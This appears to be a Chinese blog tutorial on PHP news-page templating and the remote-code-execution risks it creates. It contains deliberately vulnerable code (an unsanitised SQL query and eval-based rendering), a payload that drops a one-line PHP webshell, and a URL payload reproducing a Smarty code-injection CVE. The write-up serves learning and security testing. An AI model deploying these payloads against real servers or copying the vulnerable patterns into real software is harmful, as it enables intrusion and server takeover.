安全开发-web应用-PHP-模版-RCE安全
叽里咕噜不多说,直接开干,这个新闻列表呢其实和前面留言板功能差不多,首先我们肯定是要用数据库来存储新闻数据,然后通过调用来让他显示在浏览器中,或者是给他添加id,让用户自己选择看哪个新闻,但是由此而来的不就是关于数据库的sql注入了吗,非常的害怕
所以我们直接开干捏·
首先肯定还是创建一个数据库嘞
首先我们先自己叽里咕噜乱写点
然后创建一个news.php来显示这个新闻哈,先简单实现一下功能
//news.php <?php include 'config.php'; $id = $_GET['id'] ?? '1'; $sql = "SELECT * FROM news WHERE id = $id"; $result = mysqli_query($conn, $sql); while($row = mysqli_fetch_row($result)) { echo "<h1>{$row[1]}</h1>"; echo "<p>作者:{$row[2]}</p>"; echo "<p>{$row[3]}</p>"; echo "<img src='{$row[4]}'></img>"; } ?>
通过我们数据库id来控制显示内容
这样就正常的调用数据库了,现在基础的功能做好了,我们要给他美化一下哈,就像我的网站显示的那样,格式清晰
但是如果手敲的话又得大半天了,非常的不人性化
那么由此诞生了一个东西:模版,这个东西如果你看我的网站笔记看多了的话就会发现,有些页面他显示的效果不同,是因为我这里可以直接选择显示的模板
可以看到选择不同的模板会有不同的显示效果,所以我们在这个新闻栏目,添加同样的功能
首先我们来看看他是怎么运作的,首先创建一个实验的html文件,也叫news吧
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>{title}</title> </head> <body> <h1>{title}</h1> </body> </html>
给想引用的地方添加{}占位符,然后我们在后端中引用这些占位符
<?php include 'config.php'; $template = file_get_contents('news.html'); $id = $_GET['id'] ?? '1'; $sql = "SELECT * FROM news WHERE id = $id"; $result = mysqli_query($conn, $sql); if ($row = mysqli_fetch_row($result)) { echo "<h1>{$row[1]}</h1>"; echo "<p>作者:{$row[2]}</p>"; echo "<p>{$row[3]}</p>"; echo "<img src='{$row[4]}' width='199'></img>"; $template = str_replace('{title}', $row[1], $template); eval('?>' . $template); } else { echo "未找到该新闻"; } ?>
可以看到他就可以读取并且用html代码输出我们引用的地方
原理就是首先在前端中用占位符把想引用到的地方占住
然后首先后端代码先把数据库里面的数据读取出来,通过识别到占位符将数据传输到另一个前端页面中,这样就能让后端没有美化过的数据传输到另一个美化过的前端页面中,实现模板引用,前端样式不变,后端数据更改对应的前端数据也进行更改,这样就只改变数据而不改变样式
可以看到前端页面中只有这些占位符,然后你把页面美化之后,把对应的值输出到对应的标签,那是不是就很美好了呢,我们现在就来实现这个效果
首先编写前端代码
//news.http <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>{title}</title> <style> body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; margin: 40px auto; max-width: 800px; line-height: 1.6; color: #333; background: #f9f9f9; padding: 20px; } h1 { font-size: 2em; margin-bottom: 0.5em; } .author { color: #777; margin-bottom: 1em; } .content { margin-bottom: 2em; } .news-img { max-width: 100%; height: auto; border-radius: 8px; } </style> </head> <body> <h1>{title}</h1> <p class="author">作者:{author}</p> <div class="content">{content}</div> <img class="news-img" src="{image}" alt="新闻配图"> </body> </html>
然后对应的添加前端的标签
//news.php <?php include 'config.php'; $template = file_get_contents('news.html'); $id = $_GET['id'] ?? '1'; $sql = "SELECT * FROM news WHERE id = $id"; $result = mysqli_query($conn, $sql); if ($row = mysqli_fetch_row($result)) { // id, title, author, content, image $template = str_replace('{title}', $row[1], $template); $template = str_replace('{author}', $row[2], $template); $template = str_replace('{content}', $row[3], $template); $template = str_replace('{image}', $row[4], $template); // 输出最终渲染后的模板 eval('?>' . $template); } else { echo "未找到该新闻"; } ?>
访问一下看看
可以看到他就能把对应标签的数据渲染到前面html的代码中,这样就实现了模板引用
那么这时候我们就会想到什么呢,既然我们使用eval来执行渲染操作,然后用数据库来进行数据读取,那是不是典型的,rce里的eval注入漏洞呢,我们来测试一下
我们知道如果添加新闻的话肯定是可以通过后台来操作的,但是这时候忽然突发奇想写一下奇奇怪怪的东西呢
比如我们添加一个新闻,然后写入一个攻击语句
<?php file_put_contents("hacked.php", "<?php eval(\$_POST[1]); ?>"); ?>
这个语句的意思就是执行后会在当前目录生成一个php文件,然后内容就是我们写的一句话木马,前面用\$防止 PHP 预解析,然后我们就可以测测了
可以发现正常的访问了,然后我们检查一下本地的文件
布豪,真被生成了,下面的流程就不用多说了吧,直接开连
呜呜呜呜呜,窝得服务器,又被攻击力,补药啊,非常的危险,具体的漏洞这里就留个坑咯~以后说
当然啊,这是我们自己写的一个模板,自己写的什么样自己还不清楚吗,漏洞百出啊铁铁,所以现在我们来试试第三方的模版
Smarty是一个使用PHP写出来的模板引擎,是目前业界最著名的PHP模板引擎之一。 它分离了逻辑代码和外在的内容,提供了一种易于管理和使用的方法,用来将原本与HTML代码混杂在一起PHP代码逻辑分离。
首先我们导入一下模版哈
放在我们网站的根目录下
然后我们使用index.php来引用他
//index.php <?php require ('smarty/libs/Smarty.class.php');// 引入Smarty类 $smarty = new Smarty(); // 实例化Smarty对象 $smarty-> template_dir = 'smarty/templates/'; // 设置模板目录 $smarty-> compile_dir = 'smarty/templates_c/'; // 设置编译目录 $smarty-> cache_dir = 'smarty/cache/'; // 设置缓存目录 $smarty-> config_dir = 'smarty/configs/'; // 设置配置目录 $smarty->assign('title', '欢迎使用 smarty');// 模板变量赋值 $smarty-> display('index.tpl'); // 显示模板 ?>
然后目录里我们对应的都要创建文件
然后再index.tpl中写入html代码
<!DOCTYPE html> <html> <head> <title>{$title}</title> </head> <body> <h1>{$title}</h1> <p>这是一个使用 Smarty 的例子。</p> </body> </html>
然后访问
可以看到他成功的被调用了,前面我们知道使用eval渲染的时候他会执行在前端页面中的php语句,这个第三方模版会不会呢,我们来实验一下
在那个tpl文件中加入一个
<?php phpinfo(); ?>
我们运行看看
可以看到他虽然加载了,但是他并没有被执行,所以这样就变得安全一点了,但是这时候又有人问了,主包主包既然都安全了我们还怎么日日呢,可恶的第三方,那肯定是还有漏洞啊,百度一搜一大堆啊我的老铁,自行度娘哈
这里我们直接是开干
漏洞复现来自于这个2017年的洞洞
然后我我们先把对应这个版本的模板搞到本地
然后同样的先引用一下
创建一个index1.php
//index1.php <?php define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__)); define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/smarty3/templates_c'); define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/smarty3/cache'); include_once(SMARTY_ROOT_DIR . '/smarty3/libs/Smarty.class.php'); class testSmarty extends Smarty_Resource_Custom { protected function fetch($name, &$source, &$mtime) { $template = "CVE-2017-1000480 smarty PHP code injection"; $source = $template; $mtime = time(); } } $smarty = new Smarty(); $smarty->setCacheDir(SMARTY_CACHE_DIR); $smarty->setCompileDir(SMARTY_COMPILE_DIR); $smarty->registerResource('test', new testSmarty); $smarty->display('test:'.$_GET['ce']); ?>
代码来自网络,这里只是简单复现,具体的原理还是以后再说,然后访问
可以看到他能正常的接受到我们的ce的值
然后我们再url中构造一下语句
?ce=*/phpinfo();//
我去,可以看到被成功的执行了,说明他这里可以直接执行php代码,那我们这里要是直接执行一个一句话木马呢
来测试一下
布豪,服务器又双叒叕被攻击了
害怕的捏,前面以为还挺安全捏,没想到直接也是日穿了,至于具体的安全问题咱还是以后再说哈
这样我们就知道,第三方模版也是有安全问题捏,由此可知我们一开始说的web应用开发各种第三方的插件啊,框架啊,是不是也是同样的效果呢,网上报过的历史漏洞一大堆,所以说啊,一切都是开发的锅~所以说啊,对一个目标进行测测的时候我们并不要局限于他的网站本身,可以去看看他是否使用了第三方的开发的插件或者框架之类的,然后通过那些的历史漏洞来对目标测测,这样效率是不是事半功倍呢
关于这个模块的内容也就差不多咯,漏洞百出~
未完待续~